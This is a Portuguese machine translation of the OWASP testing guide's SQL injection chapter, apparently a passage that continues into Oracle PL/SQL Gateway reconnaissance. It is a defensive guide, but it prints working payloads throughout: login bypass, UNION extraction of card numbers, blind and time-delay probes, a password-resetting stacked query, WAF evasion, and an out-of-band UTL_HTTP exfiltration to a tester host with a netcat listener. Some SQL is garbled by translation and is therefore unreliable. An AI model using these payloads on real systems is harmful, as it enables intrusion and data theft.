Inferencial ou Cego: não há transferência real de dados, mas o testador é capaz de reconstruir as informações enviando solicitações
específicas e observando o comportamento resultante do Servidor DB.
Um ataque SQL Injection bem-sucedido exige que o invasor crie uma consulta SQL sintaticamente correta. Se o aplicativo retornar uma
mensagem de erro gerada por uma consulta incorreta, pode ser mais fácil para um invasor reconstruir a lógica da consulta original e, portanto,
entender como realizar a injeção corretamente. No entanto, se o aplicativo ocultar os detalhes do erro, o testador deverá ser capaz de fazer
engenharia reversa da lógica da consulta original.
Sobre as técnicas para explorar falhas de injeção de SQL, existem cinco técnicas comuns. Além disso, essas técnicas às vezes podem ser
usadas de maneira combinada (por exemplo, operador de união e out-of-band):
235
Union Operator: pode ser utilizado quando a falha de injeção de SQL acontece em uma instrução SELECT, possibilitando combinar duas consultas em um
único resultado ou conjunto de resultados.
Booleano: use condição(ões) booleana(s) para verificar se certas condições são verdadeiras ou falsas.
Baseada em erro: esta técnica força o banco de dados a gerar um erro, fornecendo ao invasor ou testador informações sobre as quais refinar sua injeção.
Out-of-band: técnica usada para recuperar dados usando um canal diferente (por exemplo, fazer uma conexão HTTP para enviar os resultados para um
servidor web).
Atraso de tempo: use comandos de banco de dados (por exemplo, sleep) para atrasar respostas em consultas condicionais. É útil quando o invasor não
possui algum tipo de resposta (resultado, saída ou erro) do aplicativo.
Objetivos do teste
Identificar pontos de injeção SQL.
Avalie a gravidade da injeção e o nível de acesso que pode ser alcançado por meio dela.
Como testar
Técnicas de Detecção O primeiro
passo neste teste é entender quando o aplicativo interage com um Servidor de BD para acessar alguns dados.
Exemplos típicos de casos em que um aplicativo precisa se comunicar com um banco de dados incluem:
Formulários de autenticação: quando a autenticação é realizada usando um formulário da web, é provável que as credenciais do usuário sejam verificadas
em um banco de dados que contém todos os nomes de usuário e senhas (ou melhor, hashes de senha).
Mecanismos de busca: a string enviada pelo usuário pode ser usada em uma consulta SQL que extrai todos os registros relevantes de um banco de dados.
Sites de comércio eletrônico: os produtos e suas características (preço, descrição, disponibilidade etc.)
armazenados em um banco de dados.
O testador deve fazer uma lista de todos os campos de entrada cujos valores podem ser usados na elaboração de uma consulta SQL, incluindo os campos
ocultos das solicitações POST e testá-los separadamente, tentando interferir na consulta e gerar um erro.
Considere também cabeçalhos HTTP e cookies.
O primeiro teste geralmente consiste em adicionar uma aspa simples ' ou um ponto e vírgula ; ao campo ou parâmetro em teste.
O primeiro é usado no SQL como um terminador de string e, se não for filtrado pelo aplicativo, levaria a uma consulta incorreta. A segunda é usada para finalizar
uma instrução SQL e, se não for filtrada, também é provável que gere um erro. A saída de um campo vulnerável pode se parecer com o seguinte (em um Microsoft
SQL Server, neste caso):
Microsoft OLE DB Provider para erro de drivers ODBC '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Aspas abertas antes da cadeia de caracteres ''. /target/target.asp, linha 113
Também delimitadores de comentários ( -- ou /* */ , etc) e outras palavras-chave SQL como AND e OR podem ser usadas para tentar modificar a consulta. Uma
técnica muito simples, mas às vezes ainda eficaz, é simplesmente inserir uma string onde um número é esperado, pois um erro como o seguinte pode ser gerado:
Microsoft OLE DB Provider para erro de drivers ODBC '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Erro de sintaxe ao converter o valor varchar 'test' em uma coluna de tipo
de dados int. /target/target.asp, linha 113
Monitore todas as respostas do servidor web e dê uma olhada no código-fonte HTML/JavaScript. Às vezes, o erro está presente dentro deles, mas por algum
motivo (por exemplo, erro de JavaScript, comentários de HTML, etc) não é apresentado ao
236
do utilizador. Uma mensagem de erro completa, como as dos exemplos, fornece muitas informações ao testador para montar um ataque
de injeção bem-sucedido. No entanto, os aplicativos geralmente não fornecem tantos detalhes: um simples '500 Server Error' ou uma
página de erro personalizada pode ser emitida, o que significa que precisamos usar técnicas de injeção cega. De qualquer forma, é muito
importante testar cada campo separadamente: apenas uma variável deve variar enquanto todas as outras permanecem constantes, para
entender com precisão quais parâmetros são vulneráveis e quais não são.
Teste de injeção de SQL padrão

Injeção SQL Clássica
Considere a seguinte consulta SQL:
SELECIONE
*
FROM Usuários WHERE Nome de usuário='$nome de usuário' AND Senha='$senha'
Uma consulta semelhante geralmente é usada no aplicativo da Web para autenticar um usuário. Se a consulta retornar um valor, significa
que dentro do banco de dados existe um usuário com esse conjunto de credenciais, então o usuário pode fazer login no sistema, caso
contrário, o acesso é negado. Os valores dos campos de entrada geralmente são obtidos do usuário por meio de um formulário da web.
Suponha que inserimos os seguintes valores de nome de usuário e senha:
$nome de usuário = 1' ou '1' = '1
$senha = 1' ou '1' = '1
A consulta será:
SELECIONE
* FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
Se supusermos que os valores dos parâmetros são enviados ao servidor através do método GET, e se o domínio do site vulnerável é
www.example.com, a solicitação que realizaremos será:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20' 1
Após uma breve análise notamos que a consulta retorna um valor (ou um conjunto de valores) porque a condição é sempre verdadeira
(OR 1=1). Desta forma, o sistema autenticou o usuário sem saber o nome de usuário e a senha.
Em alguns sistemas, a primeira linha de uma tabela de usuários seria um usuário administrador. Este pode ser o perfil retornado em
alguns casos.
Outro exemplo de consulta é o seguinte:
SELECIONE
*
FROM Usuários ONDE ((Nome de usuário='$nome de usuário') E (Senha=MD5('$senha')))
Nesse caso, há dois problemas, um devido ao uso dos parênteses e outro devido ao uso da função hash MD5. Em primeiro lugar,
resolvemos o problema dos parênteses. Isso consiste simplesmente em adicionar uma série de parênteses de fechamento até obtermos
uma consulta corrigida. Para resolver o segundo problema, tentamos fugir da segunda condição.
Adicionamos à nossa consulta um símbolo final que significa que um comentário está começando. Desta forma, tudo o que segue tal
símbolo é considerado um comentário. Cada SGBD possui sua própria sintaxe para comentários, porém, um símbolo comum à grande
maioria dos bancos de dados é * . No Oracle o símbolo é -- . Dito isso, os valores que usaremos como Username e Password são:
$nome de usuário = 1' ou '1' = '1'))/*
$senha = foo
Desta forma, obteremos a seguinte consulta:
SELECIONE
*
FROM Usuários ONDE ((Nome de usuário='1' ou '1' = '1'))/*') E (Senha=MD5('$senha')))
237
(Devido à inclusão de um delimitador de comentário no valor $username, a parte da senha da consulta será ignorada.)
A solicitação de URL será:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
Isso pode retornar vários valores. Às vezes, o código de autenticação verifica se o número de registros/resultados retornados é exatamente igual a 1.
Nos exemplos anteriores, essa situação seria difícil (no banco de dados existe apenas um valor por usuário). Para contornar esse problema, basta
inserir um comando SQL que impõe a condição de que o número de resultados retornados seja um. (Um registro retornado) Para atingir este objetivo,
usamos onde <num> é o número de resultados/registros que queremos que seja retornado. Com respeito
o operador LIMIT <num> ao ,
exemplo anterior, o valor dos campos Username e Password serão modificados da seguinte forma:
$username = 1' ou '1' = '1')) LIMIT 1/*
$senha = foo
Desta forma, criamos uma solicitação como a seguir:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
Instrução SELECT
*
SELECIONE DE produtos WHERE id_product=$id_product
Considere também a requisição para um script que execute a query acima:
http://www.example.com/product.php?id=10
Quando o testador tentar um valor válido (por exemplo, 10 neste caso), o aplicativo retornará a descrição de um produto. Uma boa forma de testar se
a aplicação está vulnerável nesse cenário é brincar com a lógica, usando os operadores AND e OR.
Considere o pedido:
http://www.example.com/product.php?id=10 E 1=2
*
SELECIONE DE produtos ONDE id_produto=10 E 1=2
Nesse caso, provavelmente o aplicativo retornaria alguma mensagem informando que não há conteúdo disponível ou uma página em branco. Em
seguida, o testador pode enviar uma declaração verdadeira e verificar se há um resultado válido:
http://www.example.com/product.php?id=10 AND 1=1
Consultas empilhadas
Dependendo da API que o aplicativo da web está usando e do DBMS (por exemplo, PHP + PostgreSQL, ASP+SQL SERVER), pode ser possível
executar várias consultas em uma chamada.
*
Uma maneira de explorar o cenário acima seria:
http://www.example.com/product.php?id=10; INSERT INTO usuários (…)
Desta forma é possível executar várias consultas seguidas e independente da primeira consulta.
238
Identificando o Banco de Dados

Embora a linguagem SQL seja um padrão, todo SGBD tem sua peculiaridade e difere entre si em vários aspectos, como
comandos especiais, funções para recuperar dados como nomes de usuários e bancos de dados, recursos, linha de
comentários etc.
Quando os testadores mudam para uma exploração de injeção de SQL mais avançada, eles precisam saber qual é o banco de dados de back-
end.
Erros retornados pelo aplicativo
A primeira maneira de descobrir qual banco de dados de back-end é usado é observando o erro retornado pelo aplicativo. A seguir estão alguns
exemplos de mensagens de erro:
MySql:
Você tem um erro em sua sintaxe SQL; verifique o manual que

corresponde à sua versão do servidor MySQL para a sintaxe correta para
usar perto de '\'' na linha 1
Um UNION SELECT completo com version() também pode ajudar a conhecer o banco de dados de back-end.
SELECT id, nome FROM users WHERE id=1 UNION SELECT 1, version() limite 1,1
Oráculo:
ORA-00933: Comando SQL não finalizado corretamente
MSSQLServer:
Erro do Microsoft SQL Native Client '80040e14'

Aspas não fechadas após a cadeia de caracteres
SELECT id, nome FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
PostgreSQL:
Falha na consulta: ERRO: erro de sintaxe em ou próximo

"'"
no caractere 56 em /www/site/test.php na linha 121.
Se não houver mensagem de erro ou uma mensagem de erro personalizada, o testador pode tentar injetar em campos de string usando várias
técnicas de concatenação:
MySql: 'teste' + 'ing'
SQL Server: 'teste' 'ing'
Oráculo: 'teste'||'ing'
PostgreSQL: 'teste'||'ing'
Técnicas de Exploração
Técnica de Exploração Sindical
O operador UNION é usado em injeções SQL para unir uma consulta, propositadamente forjada pelo testador, à consulta original. O resultado
da consulta forjada será unido ao resultado da consulta original, permitindo ao testador obter os valores das colunas de outras tabelas. Suponha
para nossos exemplos que a consulta executada do servidor seja a seguinte:
239
SELECIONE Nome, Telefone, Endereço DE Usuários WHERE Id=$id
Vamos definir o seguinte valor $id :
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Teremos a seguinte consulta:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM
CreditCardTable
Que juntará o resultado da consulta original com todos os números de cartão de crédito na tabela CreditCardTable. A palavra-chave ALL é necessária para
contornar as consultas que usam a palavra-chave DISTINCT . Além disso, notamos que além dos números dos cartões de crédito, selecionamos outros dois
valores. Esses dois valores são necessários porque as duas consultas devem ter um número igual de parâmetros/colunas para evitar um erro de sintaxe.
O primeiro detalhe que um testador precisa para explorar a vulnerabilidade de injeção SQL usando essa técnica é encontrar o número correto de colunas na
instrução SELECT.
Para conseguir isso, o testador pode usar a cláusula ORDER BY seguida de um número indicando a numeração de
coluna do banco de dados selecionada:
http://www.example.com/product.php?id=10 ORDER BY 10--
Se a consulta for executada com sucesso, o testador pode assumir, neste exemplo, que há 10 ou mais colunas na instrução SELECT . Se a consulta falhar,
deve haver menos de 10 colunas retornadas pela consulta. Se houver uma mensagem de erro disponível, provavelmente seria:
Coluna desconhecida '10' na 'cláusula de pedido'
Após o testador descobrir o número de colunas, o próximo passo é descobrir o tipo de colunas. Assumindo que havia 3 colunas no exemplo acima, o testador
poderia tentar cada tipo de coluna, usando o valor NULL para ajudá-los:
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
Se a consulta falhar, o testador provavelmente verá uma mensagem como:
Todas as células em uma coluna devem ter o mesmo tipo de dados
Se a consulta for executada com sucesso, a primeira coluna poderá ser um número inteiro. Em seguida, o testador pode avançar e assim por diante:
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
Após a coleta de informações com sucesso, dependendo da aplicação, ela pode mostrar ao testador apenas o primeiro resultado, pois a aplicação trata
apenas a primeira linha do conjunto de resultados. Neste caso, é possível utilizar uma cláusula LIMIT ou o testador pode definir um valor inválido, tornando
válida apenas a segunda consulta (supondo que não haja entrada no banco de dados cujo ID seja 99999):
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
Técnica de Exploração Booleana
A técnica de exploração booleana é muito útil quando o testador encontra uma injeção SQL cega situação em que nada se sabe sobre o resultado de uma
operação. Por exemplo, esse comportamento ocorre nos casos em que o programador criou uma página de erro personalizada que não revela nada na
estrutura da consulta ou no banco de dados. (A página não retorna um erro de SQL, pode apenas retornar um HTTP 500, 404 ou redirecionamento).
240
Utilizando métodos de inferência, é possível contornar este obstáculo e assim conseguir recuperar os valores de alguns campos desejados.
Este método consiste em realizar uma série de consultas booleanas ao servidor, observando as respostas e por fim deduzindo o significado de
tais respostas. Consideramos, como sempre, o www.example.com domínio e supomos que ele contém um parâmetro chamado id vulnerável à
injeção de SQL. Isso significa que a realização da seguinte solicitação:
http://www.example.com/index.php?id=1'
Obteremos uma página com um erro de mensagem personalizada devido a um erro sintático na consulta. Suponhamos que a consulta
executada no servidor seja:
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
Que é explorável através dos métodos vistos anteriormente. O que queremos obter são os valores do campo username.
Os testes que realizaremos nos permitirão obter o valor do campo nome de usuário, extraindo tal valor caractere por caractere. Isso é possível
através do uso de algumas funções padrão, presentes em praticamente todos os bancos de dados. Para nossos exemplos, usaremos as
seguintes pseudofunções:
SUBSTRING (texto, início, comprimento): retorna uma substring iniciando na posição “início” do texto e de comprimento “comprimento”.
Se “início” for maior que o comprimento do texto, a função retornará um valor nulo.
ASCII (char): devolve o valor ASCII do caractere de entrada. Um valor nulo é retornado se char for 0.
LENGTH (texto): devolve o número de caracteres do texto de entrada.
Através de tais funções, executaremos nossos testes no primeiro caractere e, quando descobrirmos o valor, passaremos para o segundo e
assim sucessivamente, até descobrirmos o valor inteiro. Os testes aproveitarão a função SUBSTRING, para selecionar apenas um caractere
por vez (selecionar um único caractere significa impor o parâmetro de comprimento a 1), e a função ASCII, para obter o valor ASCII, para que
podemos fazer comparações numéricas. Os resultados da comparação serão feitos com todos os valores da tabela ASCII, até encontrar o valor
correto. Como exemplo, usaremos o seguinte valor para Id :
$Id=1' AND ASCII(SUBSTRING(nome de usuário,1,1))=97 AND '1'='1
Isso cria a seguinte consulta (a partir de agora, chamaremos de “consulta inferencial”):
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
O exemplo anterior retorna um resultado se e somente se o primeiro caractere do campo nome de usuário for igual ao valor ASCII 97. Se
obtivermos um valor falso, aumentamos o índice da tabela ASCII de 97 para 98 e repetimos a solicitação . Se ao invés obtivermos um valor
verdadeiro, zeramos o índice da tabela ASCII e analisamos o próximo caractere, modificando os parâmetros da função SUBSTRING. O
problema é entender de que maneira podemos distinguir os testes que retornam um valor verdadeiro daqueles que retornam falso. Para fazer
isso, criamos uma consulta que sempre retorna false. Isso é possível usando o seguinte valor para Id :
$Id=1' E '1' = '2
Que irá criar a seguinte consulta:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
A resposta obtida do servidor (que é o código HTML) será o valor falso para nossos testes. Isso é suficiente para verificar se o valor obtido com
a execução da consulta inferencial é igual ao valor obtido com o teste executado anteriormente. Às vezes, esse método não funciona. Se o
servidor retornar duas páginas diferentes como resultado de duas solicitações da Web consecutivas idênticas, não poderemos discriminar o
valor verdadeiro do valor falso. Nestes casos particulares, é necessário usar filtros específicos que nos permitam eliminar o código que muda
entre os dois
241
solicitações e obter um modelo. Posteriormente, para cada requisição inferencial executada, iremos extrair o template relativo da resposta utilizando a
mesma função, e faremos um controle entre os dois templates para decidir o resultado do teste.
Na discussão anterior, não lidamos com o problema de determinar a condição de término para nossos testes, ou seja, quando devemos encerrar o
procedimento de inferência. Uma técnica para fazer isso usa uma característica da função SUBSTRING e da função LENGTH. Quando o teste compara
o caractere atual com o código ASCII 0 (ou seja, o valor null) e o teste retorna o valor true, então terminamos o procedimento de inferência (examinamos
toda a string) ou o valor que temos analisado contém o caractere nulo.
Vamos inserir o seguinte valor para o campo Id :
$Id=1' AND LENGTH(nome de usuário)=N AND '1' = '1
Onde N é o número de caracteres que analisamos até agora (sem contar o valor nulo). A consulta será:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
A consulta retorna verdadeiro ou falso. Se obtivermos true, concluímos a inferência e, portanto, conhecemos o valor do parâmetro. Se obtivermos false,
isso significa que o caractere nulo está presente no valor do parâmetro e devemos continuar analisando o próximo parâmetro até encontrar outro valor
nulo.
O ataque cego de injeção de SQL precisa de um alto volume de consultas. O testador pode precisar de uma ferramenta automática para explorar a
vulnerabilidade.
Técnica de exploração baseada em erro
Uma técnica de exploração baseada em erro é útil quando o testador, por algum motivo, não pode explorar a vulnerabilidade de injeção SQL usando
outra técnica, como UNION. A técnica Error based consiste em forçar o banco de dados a realizar alguma operação na qual o resultado será um erro. O
objetivo aqui é tentar extrair alguns dados do banco de dados e mostrá-los na mensagem de erro. Esta técnica de exploração pode ser diferente de
DBMS para DBMS (consulte a seção específica de DBMS).
*
A solicitação maliciosa seria (por exemplo, Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
Neste exemplo, o testador está concatenando o valor 10 com o resultado da função UTL_INADDR.GET_HOST_NAME . Essa função do Oracle vai tentar
retornar o hostname do parâmetro passado para ela, que é outra consulta, o nome do usuário.
Quando o banco de dados procura um nome de host com o nome do banco de dados do usuário, ele falha e retorna uma mensagem de erro como:
ORA-292257: host SCOTT desconhecido
Então o testador pode manipular o parâmetro passado para a função GET_HOST_NAME() e o resultado será mostrado na mensagem de erro.
Técnica de exploração fora da banda
Esta técnica é muito útil quando o testador encontra uma Injeção SQL Cega situação em que nada se sabe sobre o resultado de uma operação. A técnica
consiste na utilização de funções DBMS para realizar uma conexão fora de banda
242
e entregar os resultados da consulta injetada como parte da solicitação ao servidor do testador. Como as técnicas baseadas em erro, cada
DBMS tem suas próprias funções. Verifique a seção DBMS específica.
*
A solicitação maliciosa seria:
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT do utilizador A PARTIR DE
DUAL)--
Neste exemplo, o testador está concatenando o valor 10 com o resultado da função UTL_HTTP.request . Esta função do Oracle tentará se
conectar ao servidor de testes e fazer uma solicitação HTTP GET contendo o retorno da consulta SELECT user FROM DUAL . O testador pode
configurar um servidor web (por exemplo, Apache) ou usar a ferramenta Netcat:
/home/testador/nc –nLp 80
GET /SCOTT HTTP/1.1

Host: testerserver.com
Conexão: fechar
Técnica de exploração de atraso de tempo
A técnica de exploração de atraso de tempo é muito útil quando o testador encontra uma injeção SQL cega situação em que nada se sabe
sobre o resultado de uma operação. Essa técnica consiste em enviar uma consulta injetada e caso a condicional seja verdadeira, o testador
pode monitorar o tempo que o servidor leva para responder. Se houver um atraso, o testador pode assumir que o resultado da consulta
condicional é verdadeiro. Esta técnica de exploração pode ser diferente de DBMS para DBMS (consulte a seção específica de DBMS).
*
A solicitação maliciosa seria (por exemplo, MySql 5.x):
http://www.example.com/product.php?id=10 AND IF(version() como '5%', sleep(10), 'false'))--
Neste exemplo o testador está verificando se a versão do MySql é 5.x ou não, fazendo com que o servidor atrase a resposta em 10 segundos.
O testador pode aumentar o tempo de atraso e monitorar as respostas. O testador também não precisa esperar pela resposta. Às vezes, ele
pode definir um valor muito alto (por exemplo, 100) e cancelar a solicitação após alguns segundos.
Injeção de procedimento armazenado
Ao usar SQL dinâmico em um procedimento armazenado, o aplicativo deve limpar adequadamente a entrada do usuário para eliminar o risco
de injeção de código. Se não for limpo, o usuário pode inserir um SQL malicioso que será executado no procedimento armazenado.
Considere o seguinte procedimento armazenado do SQL Server:

243
Criar procedimento user_login @username varchar(20), @passwd varchar(20)

Como
Declare @sqlstring varchar(250)

'
Definir @sqlstring =
Selecione 1 dos usuários
Onde nome de usuário = ' + @nome de usuário + ' e senha =
'
+ @passwd
exec(@sqlstring)
Vai
Entrada do usuário:
qualquer nome de usuário ou

1=1' qualquer senha
Este procedimento não higieniza a entrada, permitindo assim que o valor de retorno mostre um registro existente com estes parâmetros.
Este exemplo pode parecer improvável devido ao uso de SQL dinâmico para efetuar login de um usuário, mas considere uma consulta de
relatório dinâmico em que o usuário seleciona as colunas a serem exibidas. O usuário pode inserir código malicioso neste cenário e
comprometer os dados.
Considere o seguinte procedimento armazenado do SQL Server:
Crio
procedimento get_report @columnamelist varchar(7900)
Como
Declare @sqlstring varchar(8000)

'
Definir @sqlstring =
Selecione ' + @columnamelist + ' de ReportTable'
exec(@sqlstring)
Vai
Entrada do usuário:
1 de usuários; atualizar usuários definir senha = 'senha'; selecione *
Isso resultará na execução do relatório e na atualização das senhas de todos os usuários.
Exploração automatizada
A maioria das situações e técnicas apresentadas aqui podem ser executadas de forma automatizada utilizando algumas ferramentas. Neste artigo
o testador pode encontrar informações sobre como realizar uma auditoria automatizada usando o SQLMap
Técnicas de evasão de assinatura de injeção SQL As técnicas são
usadas para contornar defesas como firewalls de aplicativos da Web (WAFs) ou sistemas de prevenção de intrusão (IPSs). Consulte também https://
owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
Espaço em branco
Eliminar espaço ou adicionar espaços não afetará a instrução SQL. Por exemplo
ou 'a' = 'a'
ou 'um' = 'uma'
244
Adicionar caractere especial como nova linha ou tabulação que não alterará a execução da instrução SQL. Por exemplo,
ou
'um' =
'uma'
Bytes Nulos
Use o byte nulo (%00) antes de quaisquer caracteres que o filtro esteja bloqueando.
Por exemplo, se o invasor puder injetar o seguinte SQL
'
UNION SELECT senha FROM Usuários WHERE nome de usuário='admin'--
adicionar bytes nulos será
%00' UNION SELECT senha FROM Usuários WHERE nome de usuário='admin'--
Comentários SQL
Adicionar comentários SQL embutidos também pode ajudar a instrução SQL a ser válida e ignorar o filtro de injeção SQL. Tome esta injeção de SQL como exemplo.
'
UNION SELECT senha FROM Usuários WHERE nome='admin'--
Adicionar comentários SQL embutidos será.
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/senha/**/FROM/**/Users/**/WHE/**/RE/**/ nome/**/LIKE/**/'admin'--
Codificação de URL
Use a codificação de URL on -line para codificar a instrução SQL
'
UNION SELECT senha FROM Usuários WHERE nome='admin'--
A codificação de URL da instrução de injeção SQL será
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
A função Char() de
codificação de caracteres pode ser usada para substituir caracteres em inglês. Por exemplo, char(114,111,111,116) significa raiz
'
UNION SELECT senha FROM Usuários WHERE nome='root'--
Para aplicar o Char(), a instrução de injeção SQL será
'
UNION SELECT senha FROM Usuários WHERE nome=char(114,111,111,116)--
String Concatenation A
concatenação divide as palavras-chave SQL e evita os filtros. A sintaxe de concatenação varia de acordo com o mecanismo do banco de dados.
Tome o mecanismo MS SQL como exemplo
selecione 1
A instrução SQL simples pode ser alterada conforme abaixo usando concatenação
EXEC('SEL' + 'ECT 1')

Machine
245
Codificação hexadecimal
A técnica de codificação hexadecimal usa a codificação hexadecimal para substituir a instrução SQL original char. Por exemplo, root pode ser
representado como 726F6F74
Selecione o usuário de usuários onde nome = 'root'
A instrução SQL usando o valor HEX será:
Selecione o usuário de usuários onde nome = 726F6F74
ou
Selecione o usuário de usuários onde name = unhex('726F6F74')
Declarar Variáveis
Declare a instrução de injeção SQL na variável e execute-a.
Por exemplo, instrução de injeção SQL abaixo
Senha de Seleção de União
Defina a instrução SQL na variável SQLivar
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'senha');
EXEC(@SQLivar)
Expressão alternativa de 'ou 1 = 1'
OU 'SQLi' = 'SQL'+'i'
OU 'SQLi' > 'S' ou 20
> 1
OU 2 entre 3 e 1
OU 'SQLi' = N'SQLi' 1 e
1=1
1 || 1 = 1 1
&& 1 = 1
Remediação
Para proteger o aplicativo contra vulnerabilidades de injeção de SQL, consulte o CheatSheet de prevenção de injeção de SQL.
Para proteger o servidor SQL, consulte o CheatSheet de segurança do banco de dados.
Para segurança de validação de entrada genérica, consulte o Input Validation CheatSheet.
Ferramentas
SQL Injection Fuzz Strings (da ferramenta wfuzz) - Fuzzdb
sqlbftools
Bernardo Damele AG: sqlmap, ferramenta automática de injeção de SQL
Muhaimin Dzulfakar: MySqloit, ferramenta de controle de injeção MySql
Referências
Top 10 2017-A1-Injeção
Injeção SQL
246
As páginas do Guia de teste específicas da tecnologia foram criadas para os seguintes DBMSs:
Oráculo
MySQL
servidor SQL
PostgreSQLName
MS Access
NoSQL
ORM
Lado do cliente
Artigos técnicos
Victor Chapela: “Injeção SQL Avançada”
Chris Anley: “Injeção de SQL mais avançada”
David Litchfield: “Data-mining com SQL Injection and Inference”
Imperva: “Injeção SQL cega”
Ferruh Mavituna: “Folha de dicas de injeção de SQL”
Kevin Spett da SPI Dynamics: “SQL Injection”
Kevin Spett da SPI Dynamics: “Blind SQL Injection”

“ZeQ3uL” (Prathan Phongthiproek) e “Suphot Boonchamnan”: “Além do SQLi: ofuscar e ignorar”
Adi Kaploun e Eliran Goshen, equipe de pesquisa e inteligência de ameaças da Check Point: “A última injeção de SQL
Tendências”
Documentação sobre vulnerabilidades de SQL Injection em produtos

Anatomia da injeção de SQL no sistema de filtragem de comentários do banco de dados do Drupal SA-CORE-2015-003
247
Testando para Oracle
Resumo
Os aplicativos PL/SQL baseados na Web são ativados pelo Gateway PL/SQL, que é o componente que traduz solicitações da Web em
consultas de banco de dados. A Oracle desenvolveu uma série de implementações de software, variando desde o produto ouvinte da Web
inicial até o módulo mod_plsql do Apache e o servidor Web do banco de dados XML (XDB). Todos têm suas próprias peculiaridades e
problemas, cada um dos quais será investigado minuciosamente neste capítulo. Os produtos que usam o PL/SQL Gateway incluem, entre
outros, Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB e Oracle Application Server.
Como testar
Como funciona o Gateway PL/SQL
Essencialmente, o Gateway PL/SQL simplesmente atua como um servidor proxy, recebendo a solicitação da Web do usuário e a repassando
para o servidor de banco de dados onde é executado.
1. O servidor web aceita uma solicitação de um cliente web e determina se ela deve ser processada pelo PL/SQL
Porta de entrada.
2. O Gateway PL/SQL processa a solicitação extraindo o nome do pacote solicitado, o procedimento e as variáveis.
3. O pacote e o procedimento solicitados são agrupados em um bloco de PL/SQL anônimo e enviados para o banco de dados
servidor.
4. O servidor de banco de dados executa o procedimento e envia os resultados de volta ao Gateway como HTML.
5. O gateway envia a resposta, por meio do servidor da Web, de volta ao cliente.
Entender este ponto é importante - o código PL/SQL não existe no servidor web, mas sim no servidor de banco de dados. Isso significa que
quaisquer pontos fracos no Gateway PL/SQL ou quaisquer pontos fracos no aplicativo PL/SQL, quando explorados, fornecem ao invasor
acesso direto ao servidor de banco de dados; nenhuma quantidade de firewalls impedirá isso.
URLs para aplicativos da Web PL/SQL normalmente são facilmente reconhecíveis e geralmente começam com o seguinte (xyz pode ser
qualquer string e representa um descritor de acesso ao banco de dados, sobre o qual você aprenderá mais adiante):
http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql
Enquanto o segundo e o terceiro desses exemplos representam URLs de versões mais antigas do PL/SQL Gateway, o primeiro é de versões
mais recentes em execução no Apache. No arquivo de configuração do Apache plsql.conf, /pls é o padrão, especificado como um local com
o módulo PLS como manipulador. No entanto, o local não precisa ser /pls. A ausência de uma extensão de arquivo em uma URL pode indicar
a presença do Oracle PL/SQL Gateway. Considere a seguinte URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Se xxxxx.yyyyy foi substituído por algo parecido com ebank.home , há uma chance bastante forte , store.welcome , auth.login , ou
livros.pesquisa , de que o Gateway PL/SQL esteja sendo usado. Também é possível preceder o pacote e o procedimento solicitados com
o nome do usuário que o possui - ou seja, o esquema - neste caso, o
usuário é webuser :
http://www.server.com/pls/xyz/webuser.pkg.proc
Nessa URL, xyz é o descritor de acesso ao banco de dados, ou DAD. Um DAD especifica informações sobre o servidor de banco de dados
para que o Gateway PL/SQL possa se conectar. Ele contém informações como a string de conexão do TNS, o ID do usuário e
248
senha, métodos de autenticação e assim por diante. Esses DADs são especificados no arquivo de configuração do Apache dads.conf em versões mais recentes
ou no arquivo wdbsvr.app em versões mais antigas. Alguns DADs padrão incluem o seguinte:
SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL 2
PORTAL30
PORTAL30_SSO
TESTE
PAPAI
APLICATIVO
ON-LINE
banco de dados
OWA
Determinando se o Gateway PL/SQL está em execução
Ao realizar uma avaliação em um servidor, é importante primeiro saber com qual tecnologia você está realmente lidando. Se você ainda não sabe, por exemplo,
em um cenário de avaliação de caixa preta, a primeira coisa que você precisa fazer é resolver isso. Reconhecer um aplicativo PL/SQL baseado na web é muito
fácil. Primeiro, há o formato do URL e sua aparência, discutidos acima. Além disso, há um conjunto de testes simples que podem ser executados para testar a
existência do Gateway PL/SQL.
Cabeçalhos de resposta do servidor
Os cabeçalhos de resposta do servidor web são um bom indicador se o servidor está executando o Gateway PL/SQL. A tabela abaixo lista alguns dos cabeçalhos
típicos de resposta do servidor:
Oracle-Application-Server-10g Oracle-Application-
Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0 Oracle HTTP Server Powered

by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix)
mod_plsql/3.0.9.8.3a Oracle HTTP Server Powered by Apache/1.3.19 ( Unix) mod_plsql/3.0.9.8.3d Oracle HTTP Server Powered
